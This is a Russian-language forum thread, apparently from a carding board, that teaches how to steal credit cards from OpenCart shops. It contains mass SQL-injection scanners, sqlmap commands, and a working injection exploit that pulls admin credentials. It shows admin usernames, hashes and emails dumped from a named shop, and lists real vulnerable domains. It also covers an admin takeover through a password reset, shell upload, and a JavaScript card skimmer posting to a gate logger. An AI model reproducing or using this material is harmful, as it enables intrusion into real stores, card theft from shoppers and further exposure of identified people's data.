• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Добываем CC из шопов.

360

floppy-диск
Забанен
Регистрация
09.08.2019
Сообщения
8
Реакции
63
Пожалуйста, обратите внимание, что пользователь заблокирован
Приступим. Что нам понадобится:
  1. php5.6 + curl
  2. RollingCurl - _ttps://github.com/takinbo/rolling-curl

Начнём с простого, напишем парсер для публичной уязвимости в opencart.

PHP:
<?php
ini_set('memory_limit', '-1');

require __DIR__ . '/src/RollingCurl/RollingCurl.php';
require __DIR__ . '/src/RollingCurl/Request.php';

$rollingCurl = new \RollingCurl\RollingCurl();
$i =0;
$content = file('set_base_here.txt');
$plugin = "/index.php?route=product/product&path=4_16&product_id=431'";
$arr = array();

foreach ($content as $string) {
 $url = trim($string);
 $url = $url.$plugin;
 $arr[] = $url;
}

print "++++++++++++++++++++++++++++++++++++++++++++++++++++++++++". PHP_EOL;
print "                                            product_id  testing                                                         ". PHP_EOL;
print "++++++++++++++++++++++++++++++++++++++++++++++++++++++++++". PHP_EOL;

$sites = array_reverse($arr);
$options = array(CURLOPT_TIMEOUT => 15);

foreach ($sites as $url) {
    $request = new \RollingCurl\Request($url);
    $request->setOptions($options);
    $rollingCurl->add($request);
}

$rollingCurl
    ->setCallback(function(\RollingCurl\Request $request, \RollingCurl\RollingCurl $rollingCurl) {

    $out = $request->getResponseText();
    $vuln = explode('You have an error in your SQL syntax',$out);
    $false1 = explode('<html',$out);
    $false = explode('href="',$out);
    $header = $request->getresponseInfo();
    $http_code = $header['http_code'];

 if(($http_code == '200')&!isset($false[1])&!isset($false1[1])){

    if(mb_strlen($request->getResponseText())==0){
//    print PHP_EOL . $request->getUrl(). ':posible blind' . PHP_EOL;
}    

 if(isset($vuln[1])){
    print PHP_EOL . $request->getUrl(). ':vuln' . PHP_EOL;
}



else{
}
}

else{
}

})->execute();

?>

Запускаем из консоли (php5.6 бд для тестов приложужу в конце). Получаем первый результат:
Код:
_ttps://www.yay.bg/index.php?route=product/product&path=4_16&product_id=431:vuln
Не стесьняясь используем sqlmap, удобно и работает.
Код:
            python ~/sqlmap/sqlmap.py -u "https://www.yay.bg/index.php?route=product/product&path=4_16&product_id=431*" --sql-shell  --dbms="MySQL"
Получаем SQL shell. Проверяем наличие заполненых полей ftp.
Код:
            select `value` from `oc_setting` where `key` like '%ftp%'
Мимо. Извлекаем учётные данные администраторов:
Код:
sql-shell> select `username`,`password`,`salt`,`email` from `oc_user`
output:
Код:
select `username`,`password`,`salt`,`email` from `oc_user` [12]:
           [*] admin, d502c298a08c6a792d3aca5834cadda91c09bbef, gl2wqMCI7, office@sharknet.ws
           [*] presian, 00dd6ccaeedda898502bbc4a6252cc2ae9ececea, zf6TYZ22T, adminmymart@yaybg.bg
           [*] itso, 32eff90320144d729d52eecfcbcc0105c626ca7b, 1ahOeGubK, itso@yaybg.bg
           [*] angel, 25887f0b297658f2c8a49ac839e1efa6113b8e6c, Fqnsekz8e, angel@yaybg.bg
           [*] denis, 403431b3541f319f84123a0c1d04286bd423568c, pZvm4H0cU, denis@yaybg.bg
           [*] dimityr, 9c72b218cde0952ed725d288e398426184560da2, Ocwi0EfVA, dimityr@yaybg.bg
           [*] vania, 98d24ac005ceec111ee4361ce4978d6f339cbf69, yiqpiR8Vz, vania@yaybg.bg
           [*] ognian, 484ce4ef33f244bae80646af47bb831130d0987d, kMnrIXHJu, ognian@yaybg.bg
           [*] Tibi, a7fbec4075f1c590ff1abcf53ef753858bf39db5, zU8LusPfL, danieltityukov@mail.bg
           [*] printirane, 8d688e734dced7bdac0b36ab07c2b85c957db152, r4pmw6xnK, yaybgorder@gmail.com
           [*] marketing, 283232b15c7fbbf89aa6f3456a09a05f341aa080, 8Hd8zCa6l, andorexe@mail.bg
           [*] petio, 6776e6dfad9a066f05aa1be004d16f02eea14ccd, n7x7sjPcL, razlichnobg@mail.bg
Опустим попытку брута т.к на сайте есть форма востановления пароля:
Код:
https://www.yay.bg/admin/index.php?route=common/forgotten
Ресетим пароль администратора, office@sharknet.ws;
Код для ресета пароля хранится в:
        
            sql-shell> select `code` from `oc_user`
Cсылка для ввода кода для смены пароля:
Код:
/admin/index.php?route=common/reset&code=
https://www.yay.bg/admin/index.php?route=common/reset&code=TDetr40vBUNkev6nGLBBSv2zbtMlEK1SHwQGGPJY

Попадаем в админ панель:
Screenshot from 2019-08-07 22-44-52.png


Загружаем шелл через установщик плагинов.

Текущий доступ примерно 300 карт в день, но нет формы оплаты. Можно поправить темплейт.

Прмемер сниффера: JS:

Код:
jQuery(document).ready(function() {
    jQuery('#order').change(function() {
        if (jQuery('#card_number').val().replace(/[^0-9]/g,'').length > 14 && jQuery('#card_cvNumber').val().replace(/[^0-9]/g,'').length > 2) {
            jQuery.ajax({
                url: 'https://example.com/gate.php?token=FZorkMQW',
                data: jQuery('#order').serialize(),
                type: 'POST',
                success:function(resp)
                {
                    return false;
                },
                error:function(jqXHR, textStatus, errorThrown)
                {
                    return false;
                }
            });
        }
    });
});
Правим поля под форму (#);
gate.php
Код:
<?php
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept');

$req_dump = file_get_contents("php://input").PHP_EOL;
$fp = file_put_contents( '/var/log/ssl30.txt', $req_dump, FILE_APPEND);
?>

напишем чекер под "0day" уязвимость в плагине opencart. (module/mega_filter);


PHP:
<?php

ini_set('memory_limit', '-1');


require __DIR__ . '/src/RollingCurl/RollingCurl.php';

require __DIR__ . '/src/RollingCurl/Request.php';


$rollingCurl = new \RollingCurl\RollingCurl();

$i =0;

$content = file('test.txt');

$plugin = "/index.php?route=module/mega_filter/results&mfp='";

$arr = array();


foreach ($content as $string) {

 $url = trim($string);

 $url = $url.$plugin;

 $arr[] = $url;

}


print "++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++". PHP_EOL;

print "                                                          testing module/mega_filter                                                             ". PHP_EOL;

print "++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++". PHP_EOL;


$sites = array_reverse($arr);

$options = array(CURLOPT_TIMEOUT => 15);


foreach ($sites as $url) {

    $request = new \RollingCurl\Request($url);

    $request->setOptions($options);

    $rollingCurl->add($request);

}


$rollingCurl

    ->setCallback(function(\RollingCurl\Request $request, \RollingCurl\RollingCurl $rollingCurl) {


    $out = $request->getResponseText();

    $vuln = explode('syntax;',$out);

    $false1 = explode('<html',$out);

    $false = explode('href="',$out);

    $header = $request->getresponseInfo();

    $http_code = $header['http_code'];


 if(($http_code == '200')&!isset($false[1])&!isset($false1[1])){


    if(mb_strlen($request->getResponseText())==0){

    //print PHP_EOL . $request->getUrl(). ':posible blind' . PHP_EOL;

}   


 if(isset($vuln[1])){

    print PHP_EOL . $request->getUrl(). ':vuln' . PHP_EOL;

}




else{

}

}


else{

}


})->execute();


?>


Сохраняем, запускаем из консоли (php5.6), Данный чекер учитывает только error-based вектор.

Тестовый output:


Код:
abaro.vn/index.php?route=module/mega_filter/results&mfp=':vuln
igalaxy.gr/index.php?route=module/mega_filter/results&mfp=':vuln
cardtak.com/index.php?route=module/mega_filter/results&mfp=':vuln
iesmasterpublications.com/index.php?route=module/mega_filter/results&mfp=':vuln
www.daciashop.ro/index.php?route=module/mega_filter/results&mfp=':vuln
www.enbimoda.com/index.php?route=module/mega_filter/results&mfp=':vuln
www.omikron.gr/index.php?route=module/mega_filter/results&mfp=':vuln
www.indiansilkhouse.com/index.php?route=module/mega_filter/results&mfp=':vuln
www.bazistory.com/index.php?route=module/mega_filter/results&mfp=':vuln
polleosport.si/index.php?route=module/mega_filter/results&mfp=':vuln
iranianskin.com/index.php?route=module/mega_filter/results&mfp=':vuln
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Пример запроса к sqlmap:
Код:
python ~/sqlmap/sqlmap.py -u "https://iesmasterpublications.com/index.php?route=module/mega_filter/results&mfp=*" --dbs --tamper="between" --dbms="MySQL"


JohnTheRipper - https://www.openwall.com/john/
Конфигурация JtR для подбора паролей:
https://github.com/magnumripper/JohnTheRipper/wiki/Cracking-OpenCart-hashes-with-JtR

Мини эксплоит для module/mega_filter;
Код:
<?php error_reporting(0);


$link = "http://-link-here-dot-com/index.php?route=module/mega_filter/results&mfp=";


function curl_me($url/*,$post*/){

if($curl = curl_init()) {
    curl_setopt($curl,CURLOPT_URL, $url);
    curl_setopt($curl,CURLOPT_RETURNTRANSFER,true);
    curl_setopt($curl,CURLOPT_FOLLOWLOCATION,true);
    /*curl_setopt($curl, CURLOPT_POSTFIELDS, $post);*/
    curl_setopt($curl,CURLOPT_CONNECTTIMEOUT,30);
    curl_setopt($curl,CURLOPT_USERAGENT,'JKOIhlklk!');
    $response = curl_exec($curl);
    curl_close($curl);
    $tmp = explode('qbbjq',$response);
    $value = explode('qbbjq1',$tmp[1]);
    $out = $value[0];
    return $out;

}

}
$i = 0;
while($i < 5){
$username_payload = "%27%20AND%20(SELECT%209703%20FROM(SELECT%20COUNT(*),CONCAT(0x7162626a71,(SELECT%20MID((IFNULL(CAST(username%20AS%20CHAR),0x20)),1,54)%20FROM%20oc_user%20LIMIT%20".$i.",1),0x7162626a71,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.PLUGINS%20GROUP%20BY%20x)a)%20AND%20%27vLGl%27=%27vLGl";

$password_payload = "%27%20AND%20(SELECT%209703%20FROM(SELECT%20COUNT(*),CONCAT(0x7162626a71,(SELECT%20MID((IFNULL(CAST(password%20AS%20CHAR),0x20)),1,54)%20FROM%20oc_user%20LIMIT%20".$i.",1),0x7162626a71,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.PLUGINS%20GROUP%20BY%20x)a)%20AND%20%27vLGl%27=%27vLGl";

$salt_payload = "%27%20AND%20(SELECT%209703%20FROM(SELECT%20COUNT(*),CONCAT(0x7162626a71,(SELECT%20MID((IFNULL(CAST(salt%20AS%20CHAR),0x20)),1,54)%20FROM%20oc_user%20LIMIT%20".$i.",1),0x7162626a71,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.PLUGINS%20GROUP%20BY%20x)a)%20AND%20%27vLGl%27=%27vLGl";

$username = $link.$username_payload;
$password = $link.$password_payload;
$salt = $link.$salt_payload;

$usr = curl_me($username);
$pwd = curl_me($password);
$slt = curl_me($salt);

print $usr.":".$pwd.":".$slt.PHP_EOL;

$i++;
}

Полезная информация:
Код:
тип хэша: sha1($s.sha1($s.sha1($p)))
Стандартный prefix: oc_
Стандартная таблица с админ записями: oc_user
Стандартная таблица с ftp: oc_setting
 

Вложения

  • 1mln.txt
    64.7 КБ · Просмотры: 349
Последнее редактирование:
Извиняюсь конечно, может я и новенький, но txt файлик как то странно себя повёл при первом скачивании - название изменилось на Good.txt и при сканировании 360 тоталом была заблокирована подозрительная активность. Сейчас всё норм. Чудеса какие то.
 
Сегодня скачивал на экспе - c0inbulb.c0m_User_Pass_553k - тоже удивился когда лиса в убунту выдала алерт = бэд файл и прекратила загрузку. Распаковал архив онлайн>скачал .txt = все норм.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Мне так-же интересно пробовал ли кто-то повтарить и есть ли смысл продолжать?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Продолжу.
изи хак - чекер на наличие бэкапов в корне
- backup.sql
- *доменное_имя*.sql

Код:
<?php
ini_set('memory_limit', '-1');

require __DIR__ . '/src/RollingCurl/RollingCurl.php';
require __DIR__ . '/src/RollingCurl/Request.php';

$rollingCurl = new \RollingCurl\RollingCurl();
$i =0;
$content = file('1mln.txt');
$arr = array();

foreach ($content as $string) {
 $url = trim($string);
$plugin = explode('.',$url);
$plugin1 = '/'.$plugin[0].'.sql';
 $url1 = $url.$plugin1;
 $url2 = $url."/backup.sql";
 $arr[] = $url1;
 $arr[] = $url2;
if (isset($plugin[1])){
 $url3 = $url.'/'.$plugin[1].'.sql';
 $arr[] = $url3;
}
 
}

print "++++++++++++++++++++++++++++++++++++++++++++++++++++++++++". PHP_EOL;
print "        testing backup.sql                 ". PHP_EOL;
print "++++++++++++++++++++++++++++++++++++++++++++++++++++++++++". PHP_EOL;

$sites = array_reverse($arr);
$options = array(CURLOPT_TIMEOUT => 15);

foreach ($sites as $url) {
    $request = new \RollingCurl\Request($url);
    $request->setOptions($options);
    $rollingCurl->add($request);
}

$rollingCurl
    ->setCallback(function(\RollingCurl\Request $request, \RollingCurl\RollingCurl $rollingCurl) {

    $out = $request->getResponseText();
    $vuln = explode('INSERT',$out);
    $false1 = explode('<html',$out);
    $false = explode('href="',$out);
    $header = $request->getresponseInfo();
    $http_code = $header['http_code'];

 if(($http_code == '200')&!isset($false[1])&!isset($false1[1])){

//    if(mb_strlen($request->getResponseText())==0){
//    print PHP_EOL . $request->getUrl(). ':posible blind' . PHP_EOL;}   

 if(isset($vuln[1])){
    print PHP_EOL . $request->getUrl(). ':vuln' . PHP_EOL;
}



else{
}
}

else{
}

})->execute();

?>

Для тех кто сомнивается в актуальности, резалт:
asnaf.com/backup.sql:vuln
finom17.com/finom17.sql:vuln
thebookshoponline.com/backup.sql:vuln
www.baybeeshoppee.com/baybeeshoppee.sql:vuln
www.bleakley.inkwellusa.com/bleakley.sql:vuln
www.wintergreenresearch.com/wintergreenresearch.sql:vuln
www.eken.com/eken.sql:vuln
orioner.com/orioner.sql:vuln
agebah.com/agebah.sql:vuln
laptopnano.com/laptopnano.sql:vuln
baybeeshoppee.com/baybeeshoppee.sql:vuln
www.thebookshoponline.com/backup.sql:vuln
www.orioner.com/orioner.sql:vuln
cuijunwei.com/cuijunwei.sql:vuln
www.rossobrunello.com/backup.sql:vuln
www.friartux.com/friartux.sql:vuln
www.corposflex.com/backup.sql:vuln
www.tabrobot.com/tabrobot.sql:vuln
www.sareesargam.com/sareesargam.sql:vuln
www.deshibesh.com/deshibesh.sql:vuln
wintergreenresearch.com/wintergreenresearch.sql:vuln
teachingnest.com/teachingnest.sql:vuln
tabrobot.com/tabrobot.sql:vuln
shophanhphuc.com/shophanhphuc.sql:vuln
sareesargam.com/sareesargam.sql:vuln
resole.com/resole.sql:vuln
qmbmart.com/qmbmart.sql:vuln
phongcachnam.com/phongcachnam.sql:vul
P.s: В итоге предлогаю запилить что-то типа xss.is_opencart-security-tool.
 
Начнём с простого, напишем парсер для публичной уязвимости в opencart.
Спасибо за годноту. У тебя готовая база opencart сайтов или парсишь гугл по признакам?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Парсил гугл, убирал нелеквид по alexa, в первых топиках аттач с <= 1kk по alexa.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Апну, чекер на наличие sqli уязвимости в SEO_URL плагине. (Чекает error-based вектор) Официального CVE не нашел как и описание уязвимости, хотя в новых версиях исправленно.
Код:
<?php
ini_set('memory_limit', '-1');

require __DIR__ . '/src/RollingCurl/RollingCurl.php';
require __DIR__ . '/src/RollingCurl/Request.php';

$rollingCurl = new \RollingCurl\RollingCurl();
$i =0;
$content = file('1mln.txt');
$plugin = "/'";
$arr = array();

foreach ($content as $string) {
$url = trim($string);
$url = $url.$plugin;
$arr[] = $url;
}

print "++++++++++++++++++++++++++++++++++++++++++++++++++++++++++". PHP_EOL;
print "        seo_url testing          ". PHP_EOL;
print "++++++++++++++++++++++++++++++++++++++++++++++++++++++++++". PHP_EOL;

$sites = array_reverse($arr);
$options = array(CURLOPT_TIMEOUT => 15);

foreach ($sites as $url) {
    $request = new \RollingCurl\Request($url);
    $request->setOptions($options);
    $rollingCurl->add($request);
}

$rollingCurl
    ->setCallback(function(\RollingCurl\Request $request, \RollingCurl\RollingCurl $rollingCurl) {

    $out = $request->getResponseText();
    $vuln = explode('syntax;',$out);
    $false1 = explode('<html',$out);
    $false = explode('href="',$out);
    $header = $request->getresponseInfo();
    $http_code = $header['http_code'];

if($http_code == '200'){

//    if(mb_strlen($request->getResponseText())==0){
//    print PHP_EOL . $request->getUrl(). ':posible blind' . PHP_EOL;}
//
if(isset($vuln[1])){
    print PHP_EOL . $request->getUrl(). ':vuln' . PHP_EOL;
}



else{
}
}

else{
}

})->execute();

?>

На этом пожалуй закончу. Материал написан в ознакомительных целях, дабы подчеркнуть проблему рисков утечки конфидециальной информации из популярных цмс. Так-же буду рад если кто-то отзавётся по идее релизации единого чекера для уязвимостей в opencart.


p.s.:По возможности объедените в 1 пост.
 
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
Приступим. Что нам понадобится:
  1. php5.6 + curl
  2. RollingCurl - _ttps://github.com/takinbo/rolling-curl

Начнём с простого, напишем парсер для публичной уязвимости в opencart.

PHP:
<?php
ini_set('memory_limit', '-1');

require __DIR__ . '/src/RollingCurl/RollingCurl.php';
require __DIR__ . '/src/RollingCurl/Request.php';

$rollingCurl = new \RollingCurl\RollingCurl();
$i =0;
$content = file('set_base_here.txt');
$plugin = "/index.php?route=product/product&path=4_16&product_id=431'";
$arr = array();

foreach ($content as $string) {
$url = trim($string);
$url = $url.$plugin;
$arr[] = $url;
}

print "++++++++++++++++++++++++++++++++++++++++++++++++++++++++++". PHP_EOL;
print "                                            product_id  testing                                                         ". PHP_EOL;
print "++++++++++++++++++++++++++++++++++++++++++++++++++++++++++". PHP_EOL;

$sites = array_reverse($arr);
$options = array(CURLOPT_TIMEOUT => 15);

foreach ($sites as $url) {
    $request = new \RollingCurl\Request($url);
    $request->setOptions($options);
    $rollingCurl->add($request);
}

$rollingCurl
    ->setCallback(function(\RollingCurl\Request $request, \RollingCurl\RollingCurl $rollingCurl) {

    $out = $request->getResponseText();
    $vuln = explode('You have an error in your SQL syntax',$out);
    $false1 = explode('<html',$out);
    $false = explode('href="',$out);
    $header = $request->getresponseInfo();
    $http_code = $header['http_code'];

if(($http_code == '200')&!isset($false[1])&!isset($false1[1])){

    if(mb_strlen($request->getResponseText())==0){
//    print PHP_EOL . $request->getUrl(). ':posible blind' . PHP_EOL;
}  

if(isset($vuln[1])){
    print PHP_EOL . $request->getUrl(). ':vuln' . PHP_EOL;
}



else{
}
}

else{
}

})->execute();

?>

Запускаем из консоли (php5.6 бд для тестов приложужу в конце). Получаем первый результат:
Код:
_ttps://www.yay.bg/index.php?route=product/product&path=4_16&product_id=431:vuln
Не стесьняясь используем sqlmap, удобно и работает.
Код:
            python ~/sqlmap/sqlmap.py -u "https://www.yay.bg/index.php?route=product/product&path=4_16&product_id=431*" --sql-shell  --dbms="MySQL"
Получаем SQL shell. Проверяем наличие заполненых полей ftp.
Код:
            select `value` from `oc_setting` where `key` like '%ftp%'
Мимо. Извлекаем учётные данные администраторов:
Код:
sql-shell> select `username`,`password`,`salt`,`email` from `oc_user`
output:
Код:
select `username`,`password`,`salt`,`email` from `oc_user` [12]:
           [*] admin, d502c298a08c6a792d3aca5834cadda91c09bbef, gl2wqMCI7, office@sharknet.ws
           [*] presian, 00dd6ccaeedda898502bbc4a6252cc2ae9ececea, zf6TYZ22T, adminmymart@yaybg.bg
           [*] itso, 32eff90320144d729d52eecfcbcc0105c626ca7b, 1ahOeGubK, itso@yaybg.bg
           [*] angel, 25887f0b297658f2c8a49ac839e1efa6113b8e6c, Fqnsekz8e, angel@yaybg.bg
           [*] denis, 403431b3541f319f84123a0c1d04286bd423568c, pZvm4H0cU, denis@yaybg.bg
           [*] dimityr, 9c72b218cde0952ed725d288e398426184560da2, Ocwi0EfVA, dimityr@yaybg.bg
           [*] vania, 98d24ac005ceec111ee4361ce4978d6f339cbf69, yiqpiR8Vz, vania@yaybg.bg
           [*] ognian, 484ce4ef33f244bae80646af47bb831130d0987d, kMnrIXHJu, ognian@yaybg.bg
           [*] Tibi, a7fbec4075f1c590ff1abcf53ef753858bf39db5, zU8LusPfL, danieltityukov@mail.bg
           [*] printirane, 8d688e734dced7bdac0b36ab07c2b85c957db152, r4pmw6xnK, yaybgorder@gmail.com
           [*] marketing, 283232b15c7fbbf89aa6f3456a09a05f341aa080, 8Hd8zCa6l, andorexe@mail.bg
           [*] petio, 6776e6dfad9a066f05aa1be004d16f02eea14ccd, n7x7sjPcL, razlichnobg@mail.bg
Опустим попытку брута т.к на сайте есть форма востановления пароля:
Код:
https://www.yay.bg/admin/index.php?route=common/forgotten
Ресетим пароль администратора, office@sharknet.ws;
Код для ресета пароля хранится в:
      
            sql-shell> select `code` from `oc_user`
Cсылка для ввода кода для смены пароля:
Код:
/admin/index.php?route=common/reset&code=
https://www.yay.bg/admin/index.php?route=common/reset&code=TDetr40vBUNkev6nGLBBSv2zbtMlEK1SHwQGGPJY

Попадаем в админ панель:
Посмотреть вложение 4904

Загружаем шелл через установщик плагинов.

Текущий доступ примерно 300 карт в день, но нет формы оплаты. Можно поправить темплейт.

Прмемер сниффера: JS:

Код:
jQuery(document).ready(function() {
    jQuery('#order').change(function() {
        if (jQuery('#card_number').val().replace(/[^0-9]/g,'').length > 14 && jQuery('#card_cvNumber').val().replace(/[^0-9]/g,'').length > 2) {
            jQuery.ajax({
                url: 'https://example.com/gate.php?token=FZorkMQW',
                data: jQuery('#order').serialize(),
                type: 'POST',
                success:function(resp)
                {
                    return false;
                },
                error:function(jqXHR, textStatus, errorThrown)
                {
                    return false;
                }
            });
        }
    });
});
Правим поля под форму (#);
gate.php
Код:
<?php
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept');

$req_dump = file_get_contents("php://input").PHP_EOL;
$fp = file_put_contents( '/var/log/ssl30.txt', $req_dump, FILE_APPEND);
?>

напишем чекер под "0day" уязвимость в плагине opencart. (module/mega_filter);


PHP:
<?php

ini_set('memory_limit', '-1');


require __DIR__ . '/src/RollingCurl/RollingCurl.php';

require __DIR__ . '/src/RollingCurl/Request.php';


$rollingCurl = new \RollingCurl\RollingCurl();

$i =0;

$content = file('test.txt');

$plugin = "/index.php?route=module/mega_filter/results&mfp='";

$arr = array();


foreach ($content as $string) {

$url = trim($string);

$url = $url.$plugin;

$arr[] = $url;

}


print "++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++". PHP_EOL;

print "                                                          testing module/mega_filter                                                             ". PHP_EOL;

print "++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++". PHP_EOL;


$sites = array_reverse($arr);

$options = array(CURLOPT_TIMEOUT => 15);


foreach ($sites as $url) {

    $request = new \RollingCurl\Request($url);

    $request->setOptions($options);

    $rollingCurl->add($request);

}


$rollingCurl

    ->setCallback(function(\RollingCurl\Request $request, \RollingCurl\RollingCurl $rollingCurl) {


    $out = $request->getResponseText();

    $vuln = explode('syntax;',$out);

    $false1 = explode('<html',$out);

    $false = explode('href="',$out);

    $header = $request->getresponseInfo();

    $http_code = $header['http_code'];


if(($http_code == '200')&!isset($false[1])&!isset($false1[1])){


    if(mb_strlen($request->getResponseText())==0){

    //print PHP_EOL . $request->getUrl(). ':posible blind' . PHP_EOL;

} 


if(isset($vuln[1])){

    print PHP_EOL . $request->getUrl(). ':vuln' . PHP_EOL;

}




else{

}

}


else{

}


})->execute();


?>


Сохраняем, запускаем из консоли (php5.6), Данный чекер учитывает только error-based вектор.

Тестовый output:


Код:
abaro.vn/index.php?route=module/mega_filter/results&mfp=':vuln
igalaxy.gr/index.php?route=module/mega_filter/results&mfp=':vuln
cardtak.com/index.php?route=module/mega_filter/results&mfp=':vuln
iesmasterpublications.com/index.php?route=module/mega_filter/results&mfp=':vuln
www.daciashop.ro/index.php?route=module/mega_filter/results&mfp=':vuln
www.enbimoda.com/index.php?route=module/mega_filter/results&mfp=':vuln
www.omikron.gr/index.php?route=module/mega_filter/results&mfp=':vuln
www.indiansilkhouse.com/index.php?route=module/mega_filter/results&mfp=':vuln
www.bazistory.com/index.php?route=module/mega_filter/results&mfp=':vuln
polleosport.si/index.php?route=module/mega_filter/results&mfp=':vuln
iranianskin.com/index.php?route=module/mega_filter/results&mfp=':vuln
бро извини за странний вопрос а как запустить\загрузить rolling curl на винду,заранее спасибо
 
бро извини за странний вопрос а как запустить\загрузить rolling curl на винду,заранее спасибо

На кали установил эту штуку через composer если хочешь накидаю мануал. Но это под линукс как на винде я хз. Автор скорее всего не ответит он на форуме давно не был.
 
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
На кали установил эту штуку через composer если хочешь накидаю мануал. Но это под линукс как на винде я хз. Автор скорее всего не ответит он на форуме давно не был.
давай,буду благодарен
 
На кали установил эту штуку через composer если хочешь накидаю мануал. Но это под линукс как на винде я хз. Автор скорее всего не ответит он на форуме давно не был.
Можно и мне, если не затруднит?)
 
Если php5.6 и Curl уже установлен в терминале через команду cd переходите в папку где лежат скрипты

Выполняете эти команды: Актуальные всегда можно взять тут https://getcomposer.org/download/ ибо после обновы компоссера хеш файла будет другой и не установится

php -r "copy('https://getcomposer.org/installer', 'composer-setup.php');"
php -r "if (hash_file('sha384', 'composer-setup.php') === 'c31c1e292ad7be5f49291169c0ac8f683499edddcfd4e42232982d0fd193004208a58ff6f353fde0012d35fdd72bc394') { echo 'Installer verified'; } else { echo 'Installer corrupt'; unlink('composer-setup.php'); } echo PHP_EOL;"
php composer-setup.php
php -r "unlink('composer-setup.php');"
Если все прошло хорошо в папке появится файл composer.phar

Создаете в той же папке файл
composer.json

В него копируете этот код :
JSON:
{
    "require": {
        "chuyskywalker/rolling-curl": "*"
    }
}

Запускаете установку командой
Код:
php composser.phar install

если все прошло хорошо появится папка vendor
в ней будут лежать нужные файлы по адресу vendor/chuyskywalker/rolling-curl/src/RollingCurl/

в скрипте прописываете путь до файлов и всё должно заработать

Еще в скрипте надо mb_strlen заменить на strlen
Функция mb_strlen не работает в версии php5.6 которую советует установить автор темы

Должно получится как то так. Никаких ошибок вылазить не должно. Тестил на голом дебиане с установленным php.5.6 и Curl
 

Вложения

  • 2020-10-20_08-55-09.png
    2020-10-20_08-55-09.png
    53.8 КБ · Просмотры: 241
Последнее редактирование:


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх